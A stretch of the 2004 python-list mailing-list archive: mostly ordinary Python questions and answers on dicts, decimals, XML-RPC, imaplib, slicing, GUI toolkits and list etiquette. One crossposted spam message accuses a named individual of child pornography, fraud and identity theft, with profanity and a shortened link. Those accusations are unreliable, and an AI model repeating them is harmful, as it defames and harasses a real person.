dicts, for example, yield keys > instead of values (i think?)... Ah, that clarifies it for me. "Values" is a bit of an overloaded term. :-) The problem you're running into here is that the "standard iterator" kind of "defines" the "values" the container has. That's the only idea of "default set of values in a container" that Python is going to understand. Thus, since the fundamental issue is a disagreement between you and Python about what constitutes a "value" out of a dict (and as the human in this transaction you are the right one :-) ), I don't see any way to avoid explaining your idea to Python. You can make it convenient: def values(iterable): if isinstance(iterable, dict): return iterable.itervalues() # Whatever other special cases you may need return iter(iterable) for obj in values(container): # etc. but there's no switch or anything that will do what you want. Sorry. You're always going to have to explain what you mean by "whatever" to Python. Stepping up one meta-level, another possibility that you may consider is creating some container classes that match whatever your heterogenous containment needs are, then you can make *those* containers work naturally without the function I showed above. Without knowing more about your problem, I can't know if that is better in general. Consider this: class IterateGivesMeValues(dict): # It is quite likely your domain will give you a better # name :-) def __iter__(self): return self.itervalues() igmv = IterateGivesMeValues() igmv["key"] = "value" for i in igmv: print i will print "value" instead of "dict". If you build your structures out of such objects your life may, or may not, be easier. From carribeiro at gmail.com Sat Sep 25 00:21:35 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Sat, 25 Sep 2004 01:21:35 -0300 Subject: Why not FP for Money? In-Reply-To: <10l9je9993jlfa3@corp.supernews.com> References: <A128D751272CD411BC9200508BC2194D053C79D3@escpl.tcp.com.ar> <mailman.3872.1096056806.5135.python-list@python.org> <cj2ehb$h95$0$216.39.172.122@theriver.com> <mailman.3884.1096073978.5135.python-list@python.org> <10l9je9993jlfa3@corp.supernews.com> Message-ID: <864d3709040924212159889838@mail.gmail.com> On Fri, 24 Sep 2004 18:47:46 -0700, Jeff Shannon <jeff at ccvcorp.com> wrote: > Personally, I think that it makes the most sense (i.e., will result in > the fewest surprises) if the greatest possible number of places is > preserved. If you truncate decimal places, then you might get this: Your point is valid, specially for floating point decimal numbers. I was thinking about the special case of money with 2 decimal places, but that's far from a general situation as far as rounding is concerned (despite the fact that money is probably the biggest application for fixed point decimals). It only shows that we still have lots of things to try and discuss before proposing something for our BDFL to consider... -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From skip at pobox.com Thu Sep 2 15:46:40 2004 From: skip at pobox.com (Skip Montanaro) Date: Thu, 2 Sep 2004 14:46:40 -0500 Subject: Right way to define methods to SimpleXMLRPCServer? Message-ID: <16695.30880.572520.172579@montanaro.dyndns.org> I decided to use SimpleXMLRPCServer for an xml-rpc server. As I understand it, if I register an instance like so: myserver.register_instance(MyStuff()) then it will call MyStuff()._dispatch(name, *args, **kwds) to try and execute the method. Since _dispatch is generic, you can't really define a more elaborate argument list. I defined _dispatch like so: def _dispatch(self, name, *args, **kwds): print {"args": args, "kwds": kwds} try: meth = self._map[name] except KeyError: raise ValueError, "Invalid method: %s" % name else: return meth(self, *args, **kwds) The **kwds parameter can probably be omitted since XML-RPC only supports positional arguments. When I call a method on the server with no args _dispatch is called, and the server prints this: {'args': ((),), 'kwds': {}} Seems to me like it has one nesting level too many in the args tuple. Shouldn't it be ()? Is this a bug or am I misinterpreting something? Skip From narshe at gmail.com Fri Sep 24 10:58:22 2004 From: narshe at gmail.com (Josh Close) Date: Fri, 24 Sep 2004 09:58:22 -0500 Subject: Python in a Nutshell for Python 2.4 In-Reply-To: <1gkl90k.amhv49fizafzN%aleaxit@yahoo.com> References: <df045d93.0409221344.52d18be9@posting.google.com> <2Pt4d.5568$sa.2954@trndny05> <1gkkjme.1larcxs9r607kN%aleaxit@yahoo.com> <mailman.3790.1095959172.5135.python-list@python.org> <1gkl90k.amhv49fizafzN%aleaxit@yahoo.com> Message-ID: <4a0cafe2040924075861d4a345@mail.gmail.com> On Thu, 23 Sep 2004 23:24:16 +0200, Alex Martelli <aleaxit at yahoo.com> wrote: > The hardest part of writing the Nutshell was to decide what to include, > or more precisely, what NOT to include, to make it as useful as possible > within the 600-pages limit (I broke that limit, a bit, but not by much; > it's 635 pages all told, I believe) [snip] I was just curious on your reason's behind it is all. Your nutshell book is actually the only python book I own and I learned how to program in python using it. I think it's very well written, just curious why is all. Python.org does have all the modules docs anyone could want also. I've been meaning to pick up the cookbook also which I think you wrote too...... I have a habbit of only buying O'Reilly books. I like their layouts. Thanks. -Josh From john_owens at yahoo.com Tue Sep 14 15:19:10 2004 From: john_owens at yahoo.com (John Owens) Date: 14 Sep 2004 12:19:10 -0700 Subject: IMAP4 example in docs causes memory error for me (OS X 10.3, python 2.3) - help? Message-ID: <526fcee1.0409141119.5e31849d@posting.google.com> I am running the IMAP4 example in the documentation: http://www.python.org/doc/lib/imap4-example.html with two small changes (different username, comment out print statement). The inbox I am accessing is 42 MB and has 80-someodd messages, so the messages are fairly big (all of them have attachments). When I run this program, I get a malloc error. Now, I'm really new to python programming, but it was my understanding that memory management was not something I had to explicitly do. I'd appreciate some help in understanding what I've done wrong. If I watch memory usage via "top", the memory usage (vmem) goes up to 3.5 GB, drops back down to a few tens of megabytes, then rises to 3.5 GB or so again, then crashes. (Backtrace is appended at the end of this message.) It seems odd to me that python should require GB of memory to read a 40 MB mailbox. I also installed python 2.3.3 via fink and was able to reproduce the error in the same way. Machine / python information: [JDO:~/Documents/src/vm2imap] jowens% uname -a Darwin JDO.local 7.5.0 Darwin Kernel Version 7.5.0: Thu Aug 5 19:26:16 PDT 2004; root:xnu/xnu-517.7.21.obj~3/RELEASE_PPC Power Macintosh powerpc [JDO:~/Documents/src/vm2imap] jowens% python -V Python 2.3.3 JDO == *** malloc: vm_allocate(size=7426048) failed (error code=3) *** malloc[17319]: error: Can't allocate region Traceback (most recent call last): File "minimal.py", line 8, in ? typ, data = M.fetch(num, '(RFC822)') File "/sw/lib/python2.3/imaplib.py", line 417, in fetch typ, dat = self._simple_command(name, message_set, message_parts) File "/sw/lib/python2.3/imaplib.py", line 1000, in _simple_command return self._command_complete(name, self._command(name, *args)) File "/sw/lib/python2.3/imaplib.py", line 830, in _command_complete typ, data = self._get_tagged_response(tag) File "/sw/lib/python2.3/imaplib.py", line 931, in _get_tagged_response self._get_response() File "/sw/lib/python2.3/imaplib.py", line 893, in _get_response data = self.read(size) File "/sw/lib/python2.3/imaplib.py", line 231, in read return self.file.read(size) File "/sw/lib/python2.3/socket.py", line 301, in read data = self._sock.recv(recv_size) MemoryError From carl.scharenberg at gmail.com Fri Sep 10 09:05:27 2004 From: carl.scharenberg at gmail.com (Carl Scharenberg) Date: 10 Sep 2004 06:05:27 -0700 Subject: YOU ALL SUCK! References: <1bf5bcb9.15695836@aol.com> <Xns9558DF032E46ebohlmanomsdevcom@130.133.1.4> <e930c085.0409020529.2db830fc@posting.google.com> <Xns955FCC8E99C10RepublicPicturesLtd@216.221.81.119> Message-ID: <e930c085.0409100505.37551a78@posting.google.com> Tris Orendorff <triso at remove-me.cogeco.ca> wrote in message news:<Xns955FCC8E99C10RepublicPicturesLtd at 216.221.81.119>... > carl.scharenberg at gmail.com (Carl Scharenberg) wrote in > news:e930c085.0409020529.2db830fc at posting.google.com: > > > >> This seems to be of somewhat better quality than the output of the > >> typical random-text generator. Can anyone suggest something on CPAN > >> useful for such? > > > > You can do this by analyzing a sample text at a higher level. Instead > > of generating text from the frequency of single letters, you generate > > using the frequencies of 2, 3, or 4-letter sequences. You analyze a > > large text so you have a database of frequencies. When generating each > > new character you look at the frequences of the letters given that the > > 3 previous letters are 'the'. The possibilities are a space, 'r' > > (their), 'y' (they), and some others. Overall it will generate words > > and even phrases that seem to almost make sense. It is neat stuff. > > This is known as a Markov Chain and it works even better if you generate using words rather than letters. > Using letters creates words and non words. The output is written in the same style as the input text. > > > -- > Sincerely, > > Tris Orendorff > > -----BEGIN GEEK CODE BLOCK----- > Version: 3.12 > GCS d++ s+:- a+ C+ UL++++ P+ L+ E- W+ N++ o- K++ w+ O+ M !V PS+ PE Y+ PGP t+ !5 X- R- tv--- b++ > DI++ D+ G++ e++ h---- r+++ y+++ > ------END GEEK CODE BLOCK------ Oh yes, now that you mentioned them, I remember studying Markov chains in linear algebra, I think. I've also heard this called a histogram or ngram, but I've never looked into the terminology at all. I have never done this at the word level, because I was simulating randomly-typing monkeys when I played with this. And for the monkeys I wanted letter generation. I will have to play with word generation too, because it just never occurred to me! :-) From thinmanj at gmail.com Wed Sep 1 17:23:18 2004 From: thinmanj at gmail.com (=?ISO-8859-1?Q?Julio_O=F1a?=) Date: Wed, 1 Sep 2004 17:23:18 -0400 Subject: negative stride list slices In-Reply-To: <9LOdnaw-DsKUoavcRVn-vg@powergate.ca> References: <8a638f47.0409010941.7f1cbbad@posting.google.com> <r7oZc.6653$MR2.32885@news1.mts.net> <2pmj4aFmofl2U1@uni-berlin.de> <evqZc.6862$MR2.33137@news1.mts.net> <9LOdnaw-DsKUoavcRVn-vg@powergate.ca> Message-ID: <318a5f1a040901142310b94710@mail.gmail.com> Slice has three arguments, [begin:end:step] when doing s[:-3:-1] you are asking the las to elements of the list in reversed order. regards. On Wed, 01 Sep 2004 17:15:51 -0400, Peter Hansen <peter at engcorp.com> wrote: > Reid Nichol wrote: > > > This was the part that I was refering to: > > > > +---+---+---+---+---+ > > | H | e | l | p | A | > > +---+---+---+---+---+ > > 0 1 2 3 4 5 > > -5 -4 -3 -2 -1 > > > > Does it not all work the same in practice? > > Can you explain how the above diagram explains David's > example then: > > >>> s = 'HelpA' > >>> s[:-3:-1] > 'Ap' > > I don't find much connection between the diagram and > where the -3 is actually slicing either. > > -Peter > > > -- > http://mail.python.org/mailman/listinfo/python-list > -- Julio From jerf at jerf.org Thu Sep 16 13:42:15 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Thu, 16 Sep 2004 17:42:15 GMT Subject: "Updating" lambda functions References: <2qtl0oF139gn6U1@uni-berlin.de> Message-ID: <pan.2004.09.17.11.13.08.494332@jerf.org> On Thu, 16 Sep 2004 14:07:20 +0000, Oliver Fromme wrote: > I need to "update" a lambda function, like this: That says you need to use classes, not lambda functions. From GoogleGroups at garringer.net Fri Sep 17 11:59:33 2004 From: GoogleGroups at garringer.net (Roy) Date: 17 Sep 2004 08:59:33 -0700 Subject: How to detect open windows applications References: <82d4be71.0409160655.234749ab@posting.google.com> <cicqq6$kra$1@news-reader4.wanadoo.fr> Message-ID: <82d4be71.0409170759.69e9c2f1@posting.google.com> Michel Claveau - abstraction m?ta-galactique non trivial e en fuite perp?tuelle. <unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom> wrote in message news:<cicqq6$kra$1 at news-reader4.wanadoo.fr>... > Hi ! > > Search the process. > > @-salutations I found it! (I think) Is the following code reasonable? ..... import win32pdh processes = win32pdh.EnumObjectItems(None, None, "Process", -1) processList = list(processes[1]) app = 'WINWORD' try: index = processList.index(app) print "Application %s is running." % app except ValueError: print "Application %s is not running." % app ..... I don't care about index, which indicates where it is in the process list. Thank you for your help! From steve at holdenweb.com Mon Sep 27 20:09:03 2004 From: steve at holdenweb.com (Steve Holden) Date: Mon, 27 Sep 2004 20:09:03 -0400 Subject: New to Python In-Reply-To: <mailman.3981.1096326130.5135.python-list@python.org> References: <338366A6D2E2CA4C9DAEAE652E12A1DE4A9007@au3010avexu1.global.avaya.com> <mailman.3722.1095866933.5135.python-list@python.org> <pan.2004.09.23.17.02.22.649109@jerf.org> <poidnXQ3VpJ4V8zcRVn-qg@powergate.ca> <mailman.3961.1096294506.5135.python-list@python.org> <e7edndpKo-0upsXcRVn-qw@powergate.ca> <42ugl0hu091vpb93qvpfcf8lmidkbnou0v@4ax.com> <mailman.3981.1096326130.5135.python-list@python.org> Message-ID: <4158AB9F.7000008@holdenweb.com> Ed Leafe wrote: [...] > > Community is a very positive energy. Keep building it! > Exactly the sentiment that led to the creation of PyCon. regards Steve From duncan.booth at invalid.invalid Thu Sep 16 04:38:06 2004 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 16 Sep 2004 08:38:06 GMT Subject: Incrementing a string References: <pan.2004.09.15.22.08.19.894702@cox.net> <10ki53nd4vgfpff@corp.supernews.com> Message-ID: <Xns956661707BF69duncanrcpcouk@127.0.0.1> Jeffrey Froman wrote: > import string > > def strpp(s): > for i in s: > yield i > for i in strpp(s): > for j in s: > yield i + j > > labels = strpp(string.lowercase) > label = label.next() # ad infinitum > > string.ascii_lowercase may be preferable here. From aleaxit at yahoo.com Tue Sep 14 14:27:04 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 14 Sep 2004 20:27:04 +0200 Subject: up with PyGUI! References: <mailman.3318.1095180577.5135.python-list@python.org> <m3vfeg69xp.fsf@g2ctech.com> <ci79v3$rh$1@atlantis.news.tpi.pl> <m3isag68uh.fsf@g2ctech.com> Message-ID: <1gk4do8.5bj3kfi47gz5N%aleaxit@yahoo.com> Jorge Godoy <godoy at ieee.org> wrote: ... > > It says explicitly what toolkits are used. Don't you know how gtk2 looks > > like? > > Yes, I do, but I don't know how it is supposed to look like from this > toolit perspective... If I wanted everything exactly like GTK2, I'd > probably use it. ...and then it would look the same on a Mac, instead of a nice Aqua lool, right...? It seems to me that the point of PyGUI is ease of programming, rather than look-and-feel, which are supposed to be native on each platform (except no native win32 is supported yet, as far as I understand). Alex From ed at leafe.com Sat Sep 25 21:58:38 2004 From: ed at leafe.com (Ed Leafe) Date: Sat, 25 Sep 2004 21:58:38 -0400 Subject: up with PyGUI! In-Reply-To: <864d370904092515311da67bb6@mail.gmail.com> References: <mailman.3318.1095180577.5135.python-list@python.org> <2rfnp6F19gkpkU1@uni-berlin.de> <4152D05B.9020909@zephyrfalcon.org> <2rhjmpF1at3kjU1@uni-berlin.de> <864d3709040924070115d9d98a@mail.gmail.com> <mailman.3855.1096035438.5135.python-list@python.org> <Xns956EDE04B1B03OKB@130.133.1.4> <mailman.3907.1096136449.5135.python-list@python.org> <Xns956F822D03E24OKB@130.133.1.4> <18A862E6-0F37-11D9-B926-003065B11E84@leafe.com> <864d370904092515311da67bb6@mail.gmail.com> Message-ID: <95686D32-0F5F-11D9-B926-003065B11E84@leafe.com> On Sep 25, 2004, at 6:31 PM, Carlos Ribeiro wrote: > You are missing the point. There is an important difference between > "imperative" and "declarative". Both are explicit -- the only thing > that is implicit in the declarative version is the way the class > declaration is going to be processed by the metaclass constructor. Sorry, but it just doesn't seem explicit to me. Defining a class doesn't mean instantiating one instance of a class at the place where the class is defined, but that seems to be exactly what your metaclass constructor does. Perhaps Python lacks the syntax - if it had an 'instance' keyword instead of forcing you to use 'class', it might be clearer. > The same form description can > be used with multiple target environments much easier than an > imperative version. It isolates the description of what you want from > the actual implementation for the target environment. Again, I don't see how it is any different. I can use either style with multiple targets, and add logic to either to get different effects in each environment. > To some extent, the choice between declarative and imperative styles > is a matter of personal taste. The impression that I am getting is that it's purely a matter of taste. > But also, it's about how to model > problems using programming languages. There's a reason why some people > use functional or declarative languages instead of imperative ones. As > such, we may be forcing Python's syntactic limits by using it for this > type of stuff. Exactly. 'Class' has a specific meaning in Python. It does not mean 'contained instance'. > That's why I'm calling this an **experiment**. We need > to have something to work with for some time to check if we are > productive and if we feel comfortablee with the way we're working. I understand that it's an experiment. My question is if the goal of this experiment is just to do something differently, or if there is an ultimate benefit that one can hope to gain if the experiment is a success. I see what you're doing and how it is different; I guess I still don't see that this is gaining any power or flexibility. > As such, I invite you to try it a little bit, and to see how does it > fit into your programming environment. I'm not in a hurry -- I just > want to do it right and to make something useful. And you can rest > assured that your observations are being taken with the most respect > and interest on my part. My problem is that I am in a 'hurry': I need to continue to develop Dabo, and make it as powerful and flexible for our users as it can be. I am interested in any alternatives that would benefit our users; my curiosity is about the payoff for adopting an alternative approach such as yours. If such a payoff isn't there, I can't spend a lot of time pursuing it. That's why I'm constantly asking you to explain the benefit, not just the theory, behind this idea. ___/ / __/ / ____/ Ed Leafe http://leafe.com/ http://dabodev.com/ From martin at v.loewis.de Wed Sep 15 15:12:25 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Wed, 15 Sep 2004 21:12:25 +0200 Subject: How do I build Python 2.3.4 on OpenBSD 3.5? In-Reply-To: <c9d82136.0409151101.730f8865@posting.google.com> References: <c9d82136.0409151101.730f8865@posting.google.com> Message-ID: <41489418$0$26168$9b622d9e@news.freenet.de> Noah wrote: > Has anyone else had similar problems? > I'd appreciate any advice. Hopefully this is a simple mistake... OpenBSD does not support Python, so Python has to work around. However, the OpenBSD work-around is only in force for versions up to OpenBSD 3.4. In configure, locate the place where it talks about OpenBSD; then add a 5 to the place that already lists 234. Regards, Martin From tjreedy at udel.edu Fri Sep 24 20:40:06 2004 From: tjreedy at udel.edu (Terry Reedy) Date: Fri, 24 Sep 2004 20:40:06 -0400 Subject: Module Pygame - "FadeOut" text References: <Xns956E4F8F8C192askariaddressNonVali@207.35.177.135><mailman.3868.1096052483.5135.python-list@python.org> <Xns956EA2C3C476BaskariaddressNonVali@207.35.177.135> Message-ID: <cj2epa$68g$1@sea.gmane.org> > I DON'T WANT use this mail list! I don't want subscribe anythink for > this info! Tough ;-) Actually, I don't like subcribing either, which is why I use the newsgroup interface to lurk on the PyGame list. Which is also why I know that Pete Shinners, the author of PyGame, hangs out on that list, which he created for questions such as your, and regularly answers such questions if no one beats him to it. Which is why I am completely comforatable with redirecting questions about PyGame in particular to the list made for that purpose. As a counter spam measure, you will, I admit, have to verify to gmane that you are posting from a real address in order for your question to be passed on. That takes less than 5 seconds. > Understand Terry! (it's not the first time that you send that message) Yes, I have sent similar messages before when appropriate. If you were a previous recipient (and I do not much pay attention to who, just the content), and ignored it, then you need to read it again. > And why I can't request info for a third-party package on this group? You obviously can and did, but I suggest as I did because there are literally thousands* of third-party Python modules/packages/projects that you and thousands of people can and do ask about. Fortunately for the continued usefulness of this group, almost everyone else uses the appropriate project-specific communication channel. *As of this moment, SourceForge currently has 3405 Python projects. http://sourceforge.net/softwaremap/trove_list.php?form_cat=160 One of them currently is Python itself, and maybe a few others are directly related. But there are also Python projects not on SourceForge. Terry J. Reedy From greg.lindstrom at novasyshealth.com Tue Sep 28 13:58:12 2004 From: greg.lindstrom at novasyshealth.com (Greg Lindstrom) Date: Tue, 28 Sep 2004 12:58:12 -0500 Subject: Oracle Access via cx_Oracle Message-ID: <019f01c4a584$b94c0690$054b12ac@D18SYX41> >Does SQL*Plus work to get at the database? >Paul Yes, I can hit the Oracle database on the remote (posix) machine with SQL*Plus running on my Windows box. Does that help me out? Please excuse my ignorance...I've been using MS-SQL Server for the past 4 or 5 years. --greg Greg Lindstrom (501) 975-4859 NovaSys Health greg.lindstrom at novasyshealth.com "We are the music makers, and we are the dreamers of dreams" W.W. From clifford.wells at comcast.net Tue Sep 21 17:20:52 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Tue, 21 Sep 2004 14:20:52 -0700 Subject: up with PyGUI! In-Reply-To: <cio5gu$2nk$1@sea.gmane.org> References: <mailman.3318.1095180577.5135.python-list@python.org> <m3vfeg69xp.fsf@g2ctech.com> <2qq5adF133c5kU1@uni-berlin.de> <m3isaf1xki.fsf@g2ctech.com><1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <m3pt4nwa84.fsf@g2ctech.com><1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com> <mailman.3388.1095291463.5135.python-list@python.org> <1gk76qq.kwo4dz1cftwe3N%aleaxit@yahoo.com> <IWf2d.33080$D7.2368@news-server.bigpond.net.au> <1gk7oh4.1lgmrxo1pjcaw5N%aleaxit@yahoo.com><cicm3q$a6g$1@sea.gmane.org> <1095378815.31957.166.camel@devilbox.devilnet.internal> <cio5gu$2nk$1@sea.gmane.org> Message-ID: <1095801652.31957.520.camel@devilbox.devilnet.internal> On Mon, 2004-09-20 at 23:00 -0400, Terry Reedy wrote: > "Cliff Wells" <clifford.wells at comcast.net> wrote in message > news:1095378815.31957.166.camel at devilbox.devilnet.internal... > > On Thu, 2004-09-16 at 14:30 -0400, Terry Reedy wrote: > >> "Alex Martelli" <aleaxit at yahoo.com> wrote in message > >> > So I was wrong -- it's happening all right, but tends to be disguised > >> > (perhaps for marketing reasons). Thanks for the info! > >> > >> Also for political reasons. The US has reactionaries, left and right, > >> who > >> reject the idea that all people have a right to participate in the > >> global > >> information economy. > > I intentionally restricted myself to one sentence, with one opinion word -- > 'reactionaries', on a topic people have written books about. However ... > > > The main problem a lot of people (myself included) have with the so- > > called "global economy" > > To me, the global information economy is as real as the global Python > community. Community certainly. Economy less so. The main reason I say "so- called" is because the widely disparate costs-of-living and corresponding pay scales make it unrealistic to assume there is anything "global" about it. Local economies, while clearly needing to participate in the global market, are just that: local. > > is that it mostly benefits the US employer who > > can pay wages that are far below cost of living inside the US. > > To the extent that all US employers producing similar products have equal > access to such cost savings, the long-term competitive benefit should tend > toward zero and most benefit should go to consumers and non-US workers. It > was Indian software entrepreneurs who pursued US businesspeople more than > the reverse. I'm not referring to employers when I refer to the damage done by outsourcing. I'm referring to the work force in first-world countries. When a US employer can pay far below minimum wage (U.S. minimum) then the only option for U.S. workers is to also work for that same wage or find other lines of work. This is already happening. I know many programming jobs here in Portland now pay as little as $10 an hour. Unskilled manual labor typically pays at least that, semi-skilled and skilled manual labor up to three or four times that. Some of this is undoubtedly due to economic factors that have nothing to do with programming per se, but I strongly suspect most of it is the direct result of skills required to be a programmer being "cheapened" (not in a disparaging sense, just in economic terms), by low-paid programmers in countries where the cost of living is far lower than in the U.S. > > I'm certain there are few people who begrudge others getting work, > > I did not try to quantify in my original statement. However, it takes more > than a few people to get myriads of job protection laws passed in countries > around the globe. Dislike of competition for 'my job' is pretty universal. That's right. But it isn't the foreign worker who is being rejected, it's US employers who want to pay $5 an hour for skilled workers that are being curtailed. > [snip] > > > let's ...have laws that require employers to pay prevailing wage > > The prototype 'prevailing wage' law in the US, the 1930s Davis-Bacon Act, > was passed and signed by begruding people. It had the explicit purpose > (and effect) of excluding dark-skinned Americans from participating in the > American construction industry, especially in northern states, by making it > unprofitable to hire them. Its negative effects continue today. Well, that's certainly *one* interpretation of the intent of that law. Here's another: From: http://www.solidarity.com/Davis-Bacon.htm """ Then as now, construction is a time and materials industry. Low bid requirements on public projects allowed contractors from outside an area to bid and win work based on substandard wages and helped create the situation where contractors literally ?imported? low-wage workers from around the country rather than use the local labor force. Abuses were wide spread in the years preceding the Acts passage. Bacon, a former Banker, explained the need for the law when he detailed for his colleagues during debate on the bill how a construction firm from Alabama transported thousands of unskilled workers to a public project in New York. ?They were herded onto this job, they were housed in shacks, they were paid a very low wage, and ... it seems to me that the federal government should not engage in construction work in any state and undermine the labor conditions and the labor wages paid in that state.? """ The point of prevailing wage isn't to exclude foreigners. It's to prevent corporations from exploiting local economies (U.S. or otherwise). What you seem to be missing is that the work doesn't get distributed, it gets moved from place to place, wherever the workers are cheapest. That isn't a global economy, it's global strip-mining. > > (based on the *employer's* country of origin). > > Programmers in developing countries generally are employed by local > employers who pay them more than the previous local prevailing wage. In > terms of real economic goods -- food, clothing, housing, internet service, > and so on -- their pay may be comparable to that of programmers in the > 'industrial' nations. I just quit working at a company where Ukrainian developers were paid to develop products at a fraction of what U.S. developers working on similar software would have been paid. Were they paid well? Certainly, by Ukraine standards. I'm not arguing that. I'm arguing that the company who paid them essentially bypassed U.S. minimum-wage laws that exist for a reason. > Their apparent cheapness per comparable output is largely a function of > exchange rates at least partly distorted by centuries of government force. Exchange rates? Um, okay. The bottom line is that when U.S. companies are allowed to hire Ukrainian developers at the equivalent of $5 an hour they are certainly going to take advantage of that. And when Manila starts pushing out developers at $2 an hour, those Ukrainians who were doing so well a minute ago are going to find themselves out of work. The bottom line is that corporations exploit workers to whatever extent they are allowed to. The so-called "global economy" is the latest and greatest method of doing so. Consider the exploits of Nike, Walmart, Levis, Reebok, et al to get a foreshadowing of what's to come in the software trade. I was told flat out at my last job that the main reason the company had any U.S. employees at all was so that customers would be able to talk to people who spoke English. > I expect such distortions will lessen as communication makes them less > tenable. This may be so. Of course I expect the U.S. job market for software development will be gone by then (or simply seen as a good first job for students before they can get a better job at Walmart). > I also expect increasing numbers of US knowledge/information > workers with portable skills to take advantage of the distortions while > they last. Well, I've certainly considered other lines of work, if that's what you mean. Cliff -- Cliff Wells <clifford.wells at comcast.net> From matt.torment at gmail.com Fri Sep 24 01:20:40 2004 From: matt.torment at gmail.com (Matthew K Jensen) Date: 23 Sep 2004 22:20:40 -0700 Subject: > > > > matt parker alias erik_van_lindt_hout matt parker alias geronimo jones bondage phuking matt parker alias kimberlyparker matt parker from cottage grove oregon spams the net with childporn http://tinyurl.com/6kmea matt parker alias evon lin References: <acb07122.0409220308.104c0a74@posting.google.com> <acb07122.0409230138.30b004bc@posting.google.com> Message-ID: <a8dfce8c.0409232120.15502f4b@posting.google.com> matthewparker at nurfuerspam.de (matt parker) wrote in message news:<acb07122.0409230138.30b004bc at posting.google.com>... > comp.lang.python,cu.cs.clim,sci.energy.hydrogen,uw.stats.s,talk.philosophy.misc > > > > > > matt parker alias erik_van_lindt_hout matt parker alias geronimo jones bondage phuking matt parker alias kimberlyparker matt parker from cottage grove oregon spams the net with childporn http://tinyurl.com/6kmea matt parker alias evon lint herzog matt parker violates the internet privacy act by distributing stolen personal data matt parker alias evon_lunsen_herzog matt parker alias I think you're better off using a unicode string. In cases like this, it's good to know different encoding standards. > > > > > > lunsen hout mothafucka matt parker alias s_machines moldova matt parker alias erik vonlindt matt parker alias erik parker matt parker alias eric vonlindthout matt parker alias ericvonlindt hout matt parker alias ericvan lindt matt parker alias erikvonlint_herzog matt parker alias erik_vonlinthout matt parker alias tatjanadochenkova oral matt parker alias erikvon_lint_hout motherfuckings You're confusing os.popen2 with popen.popen2. There's a sublte difference, plus I don't think you imported the correct library. Try writing to the input in smaller lengths of data. Also, things can get trickier when you use pipes like you are using there. > > > > > > alias sergey smith matt parker alias eric von lindtherzog matt parker alias erikvan lint hout cummer matt parker alias eric van lindt matt parker alias e_vanlindt_herzog rebuild the cuntface of the spamming scammer matt parker http://tinyurl.com/452ch matt parker alias tatiana_dochenkova kum matt parker alias eric_vanlint_herzog matt parker alias erik_vanlint_hout matt parker alias eric Always, ALWAYS watch your syntax. > > > > > > parker forges evidence to make others seem guilty of his criminal activities matt parker alias evon linthout schemes matt parker alias e von lunsen hout matt parker alias d_shredder matt parker alias eric vonlunsen hout matt parker alias erik_vanlunsenhout amateur women matt parker alias super machine matt parker alias frank quisinsky matt parker alias m parker matt parker alias That wasn't implemented until python 2.3 > > > > > > g aap matt parker alias evanlindt_herzog never submit true personal data to eurobrides.com matt parker alias evonlunsenhout matt parker alias ericvan_lindt matt parker alias p ure matt parker commits credit card fraud and identity theft against his clients shitfull bitchin matt parker alias eric_von_lint_hout m In this case, it doesn't matter which one you use, as long as you handle each list appropriately. qmh.has_key('alias') should give you a little heads up. From anno4000 at lublin.zrz.tu-berlin.de Tue Sep 14 12:32:37 2004 From: anno4000 at lublin.zrz.tu-berlin.de (Anno Siegel) Date: 14 Sep 2004 16:32:37 GMT Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <87brg96kfe.fsf@p4.internal> <m34qm0yk6o.fsf@europa.pienet> <873c1k7rre.fsf@p4.internal> Message-ID: <ci76f5$dgj$2@mamenchi.zrz.TU-Berlin.DE> Bulent Murtezaoglu <bm at acm.org> wrote in comp.lang.perl.misc: [snipped] This thread is becoming a nuisance in at least some of the groups it is crossposted to. I suggest taking out at least the comp.lang. groups. Anno From peter at engcorp.com Mon Sep 27 20:37:21 2004 From: peter at engcorp.com (Peter Hansen) Date: Mon, 27 Sep 2004 20:37:21 -0400 Subject: New to Python In-Reply-To: <mailman.3981.1096326130.5135.python-list@python.org> References: <338366A6D2E2CA4C9DAEAE652E12A1DE4A9007@au3010avexu1.global.avaya.com> <mailman.3722.1095866933.5135.python-list@python.org> <pan.2004.09.23.17.02.22.649109@jerf.org> <poidnXQ3VpJ4V8zcRVn-qg@powergate.ca> <mailman.3961.1096294506.5135.python-list@python.org> <e7edndpKo-0upsXcRVn-qw@powergate.ca> <42ugl0hu091vpb93qvpfcf8lmidkbnou0v@4ax.com> <mailman.3981.1096326130.5135.python-list@python.org> Message-ID: <stmdnViUIsDfL8XcRVn-ug@powergate.ca> Ed Leafe wrote: > I've been following this discussion, and as someone who has been > answering questions for a variety of technical matters for many years, I > just thought I'd share my view. Ed, have you read the "Smart Questions" essay? From your comments I infer (perhaps incorrectly) that you have not yet. > Obviously, having the poster pose a perfectly framed question, with > complete information, etc., is the ideal. Nobody minds helping someone > who is so well organized. But there are lots of other people out there > who don't know enough to try what seems like the obvious steps. People > new to a language tend to get nervous posting; it's hard to write an > intelligent question when you're feeling stupid. All true, but (again) this is exactly why the essay was written. It's designed to provide very clear and simple advice to just those people who *don't* know enough to try the "obvious" steps. Most of it is just the kind of "meta advice" that is needed for folks such as you descrige. In fact, I'd say that anyone who has read it and makes an attempt to follow its advice will *not* be very nervous, and will find it relatively easy to ask their question. At the very least they will not use an unhelpful subject line like "newbie question"... > My advice to those who find such poorly-worded posts offensive is to > ignore them. Yes, they could have done a much better job, so if you want > to respond, ask them for the information that would be relevant in > figuring out their problem. Often they don't know what's important and > what isn't. But by all means, taking the time to chastise them doesn't > help anyone. Either don't bother doing anything if you don't have the > time to spend with them, or ask for what you need. Again, all true, though I really don't think the issue is "poorly-worded" posts, of which we get many here and tolerate them quite well. I think the issue is poorly-conceived posts, and the essay can help with that. As for "chastisement"... I believe posting a link to the essay, when it's appropriate, is generally a big help, and saves a lot of time asking over and over again in new and creative ways for just the information which would have been provided had the essay been read by the poster. But I think I'm beating a dead horse here... I'll stop now. :-) -Peter From narshe at gmail.com Fri Sep 17 16:58:10 2004 From: narshe at gmail.com (Josh 